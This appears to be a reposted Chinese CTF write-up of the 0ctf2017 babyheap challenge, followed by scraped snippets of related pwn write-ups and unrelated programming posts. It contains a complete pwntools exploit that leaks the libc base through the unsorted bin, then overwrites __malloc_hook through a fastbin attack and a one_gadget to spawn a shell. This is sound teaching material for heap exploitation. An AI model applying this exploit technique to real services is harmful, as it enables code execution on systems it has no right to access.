0x7ffff7dd1b30 :    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b40 :    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b50 :    0xfff7a92e20000000    0x0000000000000000
0x7ffff7dd1b60 :    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b70 :    0x0000000000000000    0x00005555557571a0
0x7ffff7dd1b80 :    0x00005555557570f0    0x00005555557570f0
0x7ffff7dd1b90 :    0x00005555557570f0    0x00007ffff7dd1b88
0x7ffff7dd1ba0 :    0x00007ffff7dd1b88    0x00007ffff7dd1b98
0x7ffff7dd1bb0 :    0x00007ffff7dd1b98    0x00007ffff7dd1ba8
0x7ffff7dd1bc0 :    0x00007ffff7dd1ba8    0x00007ffff7dd1bb8
0x7ffff7dd1bd0 :    0x00007ffff7dd1bb8    0x00007ffff7dd1bc8
0x7ffff7dd1be0 :    0x00007ffff7dd1bc8    0x00007ffff7dd1bd8
0x7ffff7dd1bf0 :    0x00007ffff7dd1bd8    0x00007ffff7dd1be8
pwndbg>

当下次执行malloc后，检测到__malloc_hook不为0，将会指向它指向的函数。

5、通过再一次的的malloc来触发

alloc(255)

0x05：exp

exp来自：https://bbs.pediy.com/thread-223461.htm

#!/usr/bin/env python
 
from pwn import *
import sys
 
context.log_level = "debug"
 
elf = "./0ctfbabyheap"
ENV = {"LD_PRELOAD":"./libc.so.6"}
 
p = process(elf)
 
def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def fill(idx, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(len(content))) p.recvuntil("Content: ") p.send(content) def free(idx): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def dump(idx): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvline() return p.recvline() alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) free(1) free(2) payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload) payload = p64(0)*3 payload += p64(0x21) fill(3, payload) alloc(0x10) alloc(0x10) payload = p64(0)*3 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base)) alloc(0x60) free(4) payload = p64(libc_base+0x3c4aed) fill(2, payload) alloc(0x60) alloc(0x60) payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4526a) fill(6, payload) alloc(255) p.interactive()

0x06：知识点总结

需要有堆溢出

fastbin 单链表 FILO

fastchunk分配有检查，大小与index要匹配

small chunk被释放后，fd和bk指针指向unsorted bin的表头，这个地址在libc中，相对偏移固定，可利用泄漏fd中的内容来算出libc被加载的地址。

__malloc_hook ，它是一个弱类型的函数指针变量，指向 void * function(size_t size, void * caller) ，当调用 malloc()时，首先判断 hook函数指针是否为空，不为空则调用它。

one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。当我们知道 libc 的版本，并且可以通过信息泄露得到 libc 的基址，则可以通过执行该gadget来获得 shell。

转载于:https://www.cnblogs.com/ha2ha2/p/9366443.html

你可能感兴趣的:(0ctf2017 pwn babyheap)

hackcon ctf 2018 | pwn wp fantasy_learner
BOF漏洞点:栈溢出利用过程栈溢出跳转callMeMaybe函数获得flagexpSheSellsSeaShells90流程分析:给出了输入的栈地址有一个栈溢出点没有nx利用过程:根据以上三点，得出可以使用ret2shellcode使用shellcraft生成shellcode利用栈溢出，输入并跳转到shellcodeexpSimpleYetElegent150这道题目做了最久，卡在了能否根据_d
BUUCTF 2021-10-4 Pwn Ch1lkat BUUCTF Pwn linux pwn
文章目录保持手感echo分析EXPPwnme1分析EXPwdb_2018_1st_babyheap分析EXPFSOPhouseoforange_hitcon_2016分析前置知识House_of_orangeFSOPEXPzctf_2016_note3分析EXPgyctf_2020_document分析EXP动态调试复现护网杯_gettingstart分析EXPpicoctf_2018_buffe
pwn学习笔记（8）--初识Pwn沙箱晓幂 Pwn 学习笔记
初识Pwn沙箱沙箱机制，英文sandbox，是计算机领域的虚拟技术，常见于安全方向。一般说来，我们会将不受信任的软件放在沙箱中运行，一旦该软件有恶意行为，则禁止该程序的进一步运行，不会对真实系统造成任何危害。安全计算模式seccomp（SecureComputingMode）在Linux2.6.10之后引入到kernel的特性，可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和
pwn学习笔记（9）-中级ROP--ret2csu 晓幂 Pwn 学习笔记
pwn学习笔记（9）-中级ROP–ret2csu前置知识首先是64位文件的传参方式：前六个参数是从左到右放入寄存器：rdi、rsi、rdx、rcx、r8、r9，之后的通过栈传参。比如：传参函数大于7个：H(a,b,c,d,e,f,g,h)a->%rdi、b->%rsi、c->%rdx、d->%rcx、e->%r8、f->%r9h->(%esp)g->(%esp)callH先看看如下代码：#incl
OVS主线流程之ovs-vswitchd主体结构分析大空新一网络 OVS
OVS是openvirtualswitch的简称，是现在广泛使用的软件实现的虚拟网络交换机。各大云厂商普遍使用OVS来实现自身的虚拟网络，各厂商会根据自身需要加以修改使之符合自身需求，DPU中也使用OVS来实现流表的offload。OVS中的流表基于多级结构，与用户强相关的是opwnflow，下发的流表称为emcflow。OVS一般存在两种运行模式，内核模式和DPDK模式。内核模式下存在一个dat
重头开始嵌入式第二十一天（Linux系统编程文件相关函数） FLPGYH vim linux c语言
目录1.getpwuid2.getpwnam3.getgrgid4.symlink在Linux和类Unix系统中，创建软链接（符号链接）的常用指令是ln-s。5.remove6.rename7.link8.truncate9.perror10.strerror11.error1.makefile2.gdbstrtok1.getpwuidgetpwuid函数是C语言标准库中的一个函数，用于通过用户I
2022羊城杯pwn wp Loτυs wp pwn
YCBSQL远程是上传一个sql文件，题目提示用nc带出flag。优先考虑sqlite自带的.system函数（抱着试一试的想法），然后找web手要了个vps监听，莫名其妙就出了。sql文件内容：.systemnc1.117.171.2489997b->c->dunlink之后成为a->c->db->c->d不过此时b->c->d的nodenum为1，因此不好操作，唯一好利用的点就是通过delet
安恒杯2018-pwn-over Sadmess
framefaking正如这个技巧名字所说的那样，这个技巧就是构造一个虚假的栈帧来控制程序的执行流。原理概括地讲，我们在之前讲的栈溢出不外乎两种方式控制程序EIP控制程序EBP其最终都是控制程序的执行流。在framefaking中，我们所利用的技巧便是同时控制EBP与EIP，这样我们在控制程序执行流的同时，也改变程序栈帧的位置。一般来说其payload如下bufferpadding|fakeebp
pwn学习笔记（4）ret2libc 晓幂学习笔记
pwn学习笔记（4）静态链接：静态链接是由链接器在链接时将库的内容加入到可执行程序中的做法。链接器是一个独立程序，将一个或多个库或目标文件（先前由编译器或汇编器生成）链接到一块生成可执行程序。这里的库指的是静态链接库，Windows下以.lib为后缀，Linux下以.a为后缀。也就是说将静态链接库中的所有的函数都写入这个ELF文件中，所以会造成该二进制文件极为庞大，因此也会存在很多的可供利用来re
HGAME 2024 WEEK1 WP 是Mumuzi ctf 信息安全
文章目录WEBezHTTPBypassitSelectCourses2048*16jhatREezASMezPYCezUPXezIDAPWNEzSignInCRYPTO奇怪的图片ezRSAezMathezPRNGMISCSignIn来自星尘的问候simple_attack希儿希儿希尔签到放假比较闲，打打比赛WEBezHTTP来自vidar.club、UA要求阿巴阿巴阿巴、来自本地（提示不是XFF，
pwnable.kr解题write up —— Toddler's Bottle（一） captain_hwz security CTF security
1.fd#include#includecharbuf[32];intmain(intargc,char*argv[],char*envp[]){if(argcunsignedlonghashcode=0x21DD09EC;unsignedlongcheck_password(constchar*p){int*ip=(int*)p;inti;intres=0;for(i=0;i#includevo
pwnable.kr解题write up —— Toddler's Bottle（二） captain_hwz security CTF security
9.mistake#include#include#definePW_LEN10#defineXORKEY1voidxor(char*s,intlen){inti;for(i=0;i0)){printf("readerror\n");close(fd);return0;}charpw_buf2[PW_LEN+1];printf("inputpassword:");scanf("%10s",pw_b
pwn旅行之[WUSTCTF 2020]getshell2（一些小知识）晓幂安全
题目分析1首先打开这个题目的链接的时候，看到了ret2syscall，以为是一个纯正的syscall的题，结果，做的时候发现这个题的危险函数限制的字符串个数不足以写入syscall需要的所有地址，所以，这里参考dalao们的方法，/做出了这道题，这里记录一下。首先，checksec看一下这个题目的保护以及架构：是一个32位小端序程序，开了栈不可执行的保护，所以初步判断，stack的ret2shel
pwn学习笔记（2）ret_2_text_or_shellcode 晓幂学习笔记
pwn学习笔记（2）1.三种常见的寄存器：ax寄存器：通用寄存器，可用于存放多种数据bp寄存器：存放的是栈帧的栈底地址sp寄存器：存放的是栈顶的地址2.栈帧与栈工作的简介：栈帧是存储函数的一些信息的地方，栈帧存储有函数的局部变量，传递给子函数的实际参数，父函数的地址以及上一个栈帧栈底的地址，大致情况如下：在函数调用的过程中，首先会讲bp寄存器的值进行压栈，以方便在恢复的时候恢复栈底寄存器的值，再之
pwn学习笔记（3）ret2syscall 晓幂学习笔记
pwn学习笔记（3）ROP原理：ROP(ReturnOrientedProgramming)返回导向编程，主要思想是通过在程序中已有的小片段（gadgets）来改变某些寄存器或者变量的值，从而控制程序的执行流程。栈溢出–ret2syscall：1.系统调用：对于一个已经存在于标准库中的函数，例如printf()，我们编写某个程序的时候，这个函数仅仅只用了printf(参数);这么一行，但是，其工作
从零开始学howtoheap：解题西湖论剑Storm_note 网络安全我来了逆向二进制 Re 网络安全系统安全安全安全架构
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：从零开始配置pwn环境：从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.题目信息https://github.com/ble55ing/ctfpwn/blob/master/pwnable/ctf/x64/Sto
从零开始学howtoheap：理解fastbins的unsorted bin攻击网络安全我来了网络安全安全系统安全安全架构
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：从零开始配置pwn环境：从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.fastbins的unsorted_bin攻击unsortedbin攻击通常是为更进一步的攻击做准备的，我们知道unsortedbin是一个
从零开始学howtoheap：理解fastbins的large_bin攻击网络安全我来了网络安全系统安全安全安全架构
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：从零开始配置pwn环境：从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.fastbins的large_bin攻击根据原文描述跟unsortedbinattack实现的功能差不多https://blog.csdn.
从零开始学howtoheap：fastbins的house_of_spirit攻击3 网络安全我来了网络安全安全安全架构系统安全
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：从零开始配置pwn环境：从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.fastbins的house_of_spirit攻击house_of_spirit是一种fastbins攻击方法，通过构造fakechunk
Pwntools 2022简明手册 ZERO-A-ONE pwn 安全
Author：ZERO-A-ONEDate：2022-02-24本文翻译自：https://github.com/Gallopsled/pwntools-tutorial，主要是考虑到目前中文互联网中关于系统介绍pwntools使用方法的文章都比较老和杂乱，且转换为Python3后又有许多零零散散的问题，看到这个仓库中包含了很多使用技巧和调试问题的解决方案，感到可以翻译一下这个资源库包含了一些开始
自动化AD域枚举和漏洞检测脚本网络安全进阶渗透测试工具自动化运维网络安全系统安全 web安全
linWinPwn是一个bash脚本，可自动执行许多ActiveDirectory枚举和漏洞检查。该脚本基于很多现有工具实现其功能，其中包括：impacket、bloodhound、netexec、enum4linux-ng、ldapdomaindump、lsassy、smbmap、kerbrute、adidnsdump、certipy、silenthound等。当你只能在有限的时间内访问Acti
从零开始学howtoheap：fastbins的house_of_spirit攻击1 网络安全我来了逆向二进制 Re 网络安全安全系统安全
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.fastbins的house_of_spirit攻击house_of_spirit是一种fastbins攻击方法，通过构造fakechunk，然后将其free掉，就可以在下一次malloc
从零开始学howtoheap：fastbins的double-free攻击实操3 网络安全我来了逆向二进制 Re 网络安全安全系统安全安全架构
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.fastbins的double-free攻击这个程序展示了怎样利用free改写全局指针chunk0_ptr达到任意内存写的目的，即unsafeunlink。2.unsafeunlink程序
从零开始学howtoheap：fastbins的house_of_spirit攻击2 网络安全我来了逆向二进制 Re 网络安全系统安全安全
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.fastbins的house_of_spirit攻击house_of_spirit是一种fastbins攻击方法，通过构造fakechunk，然后将其free掉，就
[BUUCTF]-PWN:mrctf2020_easy_equation解析 Clxhzg PWN 网络安全安全
查看保护再看ida很明了，题目就是让我们用格式化字符串漏洞修改judge的值（可以用python脚本进行计算，最终算出来得2）使等式成立，然后getshell。虽然操作比较简单，但我还是列出了几种方法解法一：frompwnimport*context(log_level='debug')p=process('./equation')judge=0x60105Cpayload=b'bb'+b'%9$
03_when_did_you_born Zero_0_0
frompwnimport*##p=process('./when_did_you_born')p=remote("111.198.29.45","30787")p.recvuntil("?")p.sendline("1998")p.recvuntil("Name?")payload='A'*8payload+=p64(1926)p.sendline(payload)p.interactive()
[BUUTF]-PWN:wdb2018_guess解析 Clxhzg 前端 linux 数据库网络安全安全
查看保护查看ida这道题并不复杂，只是要注意一点细节完整exp：frompwnimport*fromLibcSearcherimport*p=process('./guess')p=remote('node5.buuoj.cn',28068)puts_got=0x602020payload=b'a'*0x128+p64(puts_got)p.sendlineafter(b'Pleasetypeyo
2023全国大学生信息安全竞赛(ciscn)初赛题解 Real返璞归真 CTF 网络安全 CTF CTF竞赛
文章目录战队信息安全知识Misc签到卡国粹被加密的生产流量pyshellWebunzipdumpitCyrpto基于国密SM2算法的密钥密文分发可信度量Sign_in_passwdPwn烧烤摊儿funcanaryShellWeGoReezbytebabyRE战队信息安全知识甚至不用看视频，百度就有答案。除了那个最新的美国时政，其它的ChatGPT就能回答。Misc签到卡关注公众号，根据提示，直接p
2023上海市大学生网络安全大赛—ssql题解 Real返璞归真程序人生
前言上海市大学生网络安全大赛的一道pwn题目，题目用了双向链表（猜到是Unlink漏洞）。还算比较简单，主要是分析代码比较复杂。分析完后漏洞限制条件少，题目给了libc2.31，利用比较灵活。这题白天解比较少，临近比赛结束的时候很多队就做出来了，估计师傅们都花时间在逆向分析上了。题目应该还是主要考察逆向分析和Unlink的理解，不能直接套模板。这里详细写一下分析步骤。题目使用off-by-null
从零开始学howtoheap：fastbins的double-free攻击实操2 网络安全我来了逆向二进制 Re 网络安全安全安全架构
how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客1.fastbins的double-free攻击下面的程序展示了fastbins的double-free攻击，可以泄露出一块已经被分配的内存指针。fastbins可以看成一个后进先出的栈，使用
redis学习笔记——不仅仅是存取数据 Everyday都不同 returnSource expire/del incr/lpush 数据库分区 redis
最近项目中用到比较多redis，感觉之前对它一直局限于get/set数据的层面。其实作为一个强大的NoSql数据库产品，如果好好利用它，会带来很多意想不到的效果。（因为我搞java，所以就从jedis的角度来补充一点东西吧。PS：不一定全，只是个人理解，不喜勿喷） 1、关于JedisPool.returnSource(Jedis jeids) 这个方法是从red
SQL性能优化-持续更新中。。。。。。 atongyeye oracle sql
1 通过ROWID访问表--索引你可以采用基于ROWID的访问方式情况,提高访问表的效率, , ROWID包含了表中记录的物理位置信息..ORACLE采用索引(INDEX)实现了数据和存放数据的物理位置(ROWID)之间的联系. 通常索引提供了快速访问ROWID的方法,因此那些基于索引列的查询就可以得到性能上的提高. 2 共享SQL语句--相同的sql放入缓存 3 选择最有效率的表
[JAVA语言]JAVA虚拟机对底层硬件的操控还不完善 comsci JAVA虚拟机
如果我们用汇编语言编写一个直接读写CPU寄存器的代码段，然后利用这个代码段去控制被操作系统屏蔽的硬件资源，这对于JVM虚拟机显然是不合法的，对操作系统来讲，这样也是不合法的，但是如果是一个工程项目的确需要这样做，合同已经签了，我们又不能够这样做，怎么办呢？那么一个精通汇编语言的那种X客，是否在这个时候就会发生某种至关重要的作用呢？ &n
lvs- real 男人50 LVS
#!/bin/bash # # Script to start LVS DR real server. # description: LVS DR real server # #. /etc/rc.d/init.d/functions VIP=10.10.6.252 host='/bin/hostname' case "$1" in sta
生成公钥和私钥 oloz DSA 安全加密
package com.msserver.core.util; import java.security.KeyPair; import java.security.PrivateKey; import java.security.PublicKey; import java.security.SecureRandom; public class SecurityUtil {
UIView 中加入的cocos2d，背景透明 374016526 cocos2d glClearColor
要点是首先pixelFormat:kEAGLColorFormatRGBA8，必须有alpha层才能透明。然后view设置为透明glView.opaque = NO;[director setOpenGLView:glView];[self.viewController.view setBackgroundColor:[UIColor clearColor]];[self.viewControll
mysql常用命令香水浓 mysql
连接数据库 mysql -u troy -ptroy 备份表 mysqldump -u troy -ptroy mm_database mm_user_tbl > user.sql 恢复表（与恢复数据库命令相同） mysql -u troy -ptroy mm_database < user.sql 备份数据库 mysqldump -u troy -ptroy
我的架构经验系列文章 - 后端架构 - 系统层面 agevs JavaScript jquery css html5
系统层面：高可用性所谓高可用性也就是通过避免单独故障加上快速故障转移实现一旦某台物理服务器出现故障能实现故障快速恢复。一般来说，可以采用两种方式，如果可以做业务可以做负载均衡则通过负载均衡实现集群，然后针对每一台服务器进行监控，一旦发生故障则从集群中移除；如果业务只能有单点入口那么可以通过实现Standby机加上虚拟IP机制，实现Active机在出现故障之后虚拟IP转移到Standby的快速
利用ant进行远程tomcat部署 aijuans tomcat
在javaEE项目中，需要将工程部署到远程服务器上，如果部署的频率比较高，手动部署的方式就比较麻烦，可以利用Ant工具实现快捷的部署。这篇博文详细介绍了ant配置的步骤（http://www.cnblogs.com/GloriousOnion/archive/2012/12/18/2822817.html），但是在tomcat7以上不适用，需要修改配置，具体如下： 1.配置tomcat的用户角色
获取复利总收入 baalwolf 获取
public static void main(String args[]){ int money=200; int year=1; double rate=0.1; &
eclipse.ini解释 BigBird2012 eclipse
大多数java开发者使用的都是eclipse，今天感兴趣去eclipse官网搜了一下eclipse.ini的配置，供大家参考，我会把关键的部分给大家用中文解释一下。还是推荐有问题不会直接搜谷歌，看官方文档，这样我们会知道问题的真面目是什么，对问题也有一个全面清晰的认识。 Overview 1、Eclipse.ini的作用 Eclipse startup is controlled by th
AngularJS实现分页功能 bijian1013 JavaScript AngularJS 分页
对于大多数web应用来说显示项目列表是一种很常见的任务。通常情况下，我们的数据会比较多，无法很好地显示在单个页面中。在这种情况下，我们需要把数据以页的方式来展示，同时带有转到上一页和下一页的功能。既然在整个应用中这是一种很常见的需求，那么把这一功能抽象成一个通用的、可复用的分页（Paginator）服务是很有意义的。 &nbs
[Maven学习笔记三]Maven archetype bit1129 ArcheType
archetype的英文意思是原型，Maven archetype表示创建Maven模块的模版，比如创建web项目，创建Spring项目等等. mvn archetype提供了一种命令行交互式创建Maven项目或者模块的方式， mvn archetype 1.在LearnMaven-ch03目录下，执行命令mvn archetype:gener
【Java命令三】jps bit1129 Java命令
jps很简单，用于显示当前运行的Java进程，也可以连接到远程服务器去查看 [hadoop@hadoop bin]$ jps -help usage: jps [-help] jps [-q] [-mlvV] [<hostid>] Definitions: <hostid>: <hostname>[:
ZABBIX2.2 2.4 等各版本之间的兼容性 ronin47
zabbix更新很快，从2009年到现在已经更新多个版本，为了使用更多zabbix的新特性，随之而来的便是升级版本，zabbix版本兼容性是必须优先考虑的一点客户端AGENT兼容 zabbix1.x到zabbix2.x的所有agent都兼容zabbix server2.4：如果你升级zabbix server，客户端是可以不做任何改变，除非你想使用agent的一些新特性。 Zabbix代理（p
unity 3d还是cocos2dx哪个适合游戏？ brotherlamp unity自学 unity教程 unity视频 unity资料 unity
unity 3d还是cocos2dx哪个适合游戏？问：unity 3d还是cocos2dx哪个适合游戏？答：首先目前来看unity视频教程因为是3d引擎，目前对2d支持并不完善，unity 3d 目前做2d普遍两种思路，一种是正交相机，3d画面2d视角，另一种是通过一些插件，动态创建mesh来绘制图形单元目前用的较多的是2d toolkit，ex2d，smooth moves，sm2，
百度笔试题：一个已经排序好的很大的数组，现在给它划分成m段，每段长度不定，段长最长为k，然后段内打乱顺序，请设计一个算法对其进行重新排序 bylijinnan java 算法面试百度招聘
import java.util.Arrays; /** * 最早是在陈利人老师的微博看到这道题： * #面试题#An array with n elements which is K most sorted，就是每个element的初始位置和它最终的排序后的位置的距离不超过常数K * 设计一个排序算法。It should be faster than O(n*lgn)。
获取checkbox复选框的值 chiangfai checkbox
<title>CheckBox</title> <script type = "text/javascript"> doGetVal: function doGetVal() { //var fruitName = document.getElementById("apple").value;//根据
MySQLdb用户指南 chenchao051 mysqldb
原网页被墙，放这里备用。 MySQLdb User's Guide Contents Introduction Installation _mysql MySQL C API translation MySQL C API function mapping Some _mysql examples MySQLdb
HIVE 窗口及分析函数 daizj hive 窗口函数分析函数
窗口函数应用场景：（1）用于分区排序（2）动态Group By （3）Top N （4）累计计算（5）层次查询一、分析函数用于等级、百分点、n分片等。函数说明 RANK() &nbs
PHP ZipArchive 实现压缩解压Zip文件 dcj3sjt126com PHP zip
PHP ZipArchive 是PHP自带的扩展类，可以轻松实现ZIP文件的压缩和解压，使用前首先要确保PHP ZIP 扩展已经开启，具体开启方法就不说了，不同的平台开启PHP扩增的方法网上都有，如有疑问欢迎交流。这里整理一下常用的示例供参考。一、解压缩zip文件 01 02 03 04 05 06 07 08 09 10 11
精彩英语贺词 dcj3sjt126com 英语
I'm always here 我会一直在这里支持你 &nb
基于Java注解的Spring的IoC功能 e200702084 java spring bean IOC Office
java模拟post请求 geeksun java
一般API接收客户端（比如网页、APP或其他应用服务）的请求，但在测试时需要模拟来自外界的请求，经探索，使用HttpComponentshttpClient可模拟Post提交请求。此处用HttpComponents的httpclient来完成使命。 import org.apache.http.HttpEntity ; import org.apache.http.HttpRespon
Swift语法之 ---- ?和!区别 hongtoushizi ?swift !
转载自： http://blog.sina.com.cn/s/blog_71715bf80102ux3v.html Swift语言使用var定义变量，但和别的语言不同，Swift里不会自动给变量赋初始值，也就是说变量不会有默认值，所以要求使用变量之前必须要对其初始化。如果在使用变量之前不进行初始化就会报错： var stringValue : String //
centos7安装jdk1.7 jisonami jdk centos
安装JDK1.7 步骤1、解压tar包在当前目录 [root@localhost usr]#tar -xzvf jdk-7u75-linux-x64.tar.gz 步骤2：配置环境变量在etc/profile文件下添加 export JAVA_HOME=/usr/java/jdk1.7.0_75 export CLASSPATH=/usr/java/jdk1.7.0_75/lib
数据源架构模式之数据映射器 home198979 PHP 架构数据映射器 datamapper
前面分别介绍了数据源架构模式之表数据入口、数据源架构模式之行和数据入口数据源架构模式之活动记录，相较于这三种数据源架构模式，数据映射器显得更加“高大上”。一、概念数据映射器（Data Mapper）：在保持对象和数据库（以及映射器本身）彼此独立的情况下，在二者之间移动数据的一个映射器层。概念永远都是抽象的，简单的说，数据映射器就是一个负责将数据映射到对象的类数据。 &nb
在Python中使用MYSQL pda158 mysql python
缘由　　近期在折腾一个小东西须要抓取网上的页面。然后进行解析。将结果放到数据库中。　　了解到 Python在这方面有优势，便选用之。　　由于我有台 server上面安装有 mysql，自然使用之。在进行数据库的这个操作过程中遇到了不少问题，这里记录一下，大家共勉。　　 python中mysql的调用　　百度之后能够通过MySQLdb进行数据库操作。
单例模式 hxl1988_0311 java 单例设计模式单件
package com.sosop.designpattern.singleton; /* * 单件模式：保证一个类必须只有一个实例，并提供全局的访问点 * * 所以单例模式必须有私有的构造器，没有私有构造器根本不用谈单件 * * 必须考虑到并发情况下创建了多个实例对象 * */ /** * 虽然有锁，但是只在第一次创建对象的时候加锁，并发时不会存在效率
27种迹象显示你应该辞掉程序员的工作 vipshichg 工作
1、你仍然在等待老板在2010年答应的要提拔你的暗示。 2、你的上级近10年没有开发过任何代码。 3、老板假装懂你说的这些技术，但实际上他完全不知道你在说什么。 4、你干完的项目6个月后才部署到现场服务器上。 5、时不时的，老板在检查你刚刚完成的工作时，要求按新想法重新开发。 6、而最终这个软件只有12个用户。 7、时间全浪费在办公室政治中，而不是用在开发好的软件上。 8、部署前5分钟才开始测试。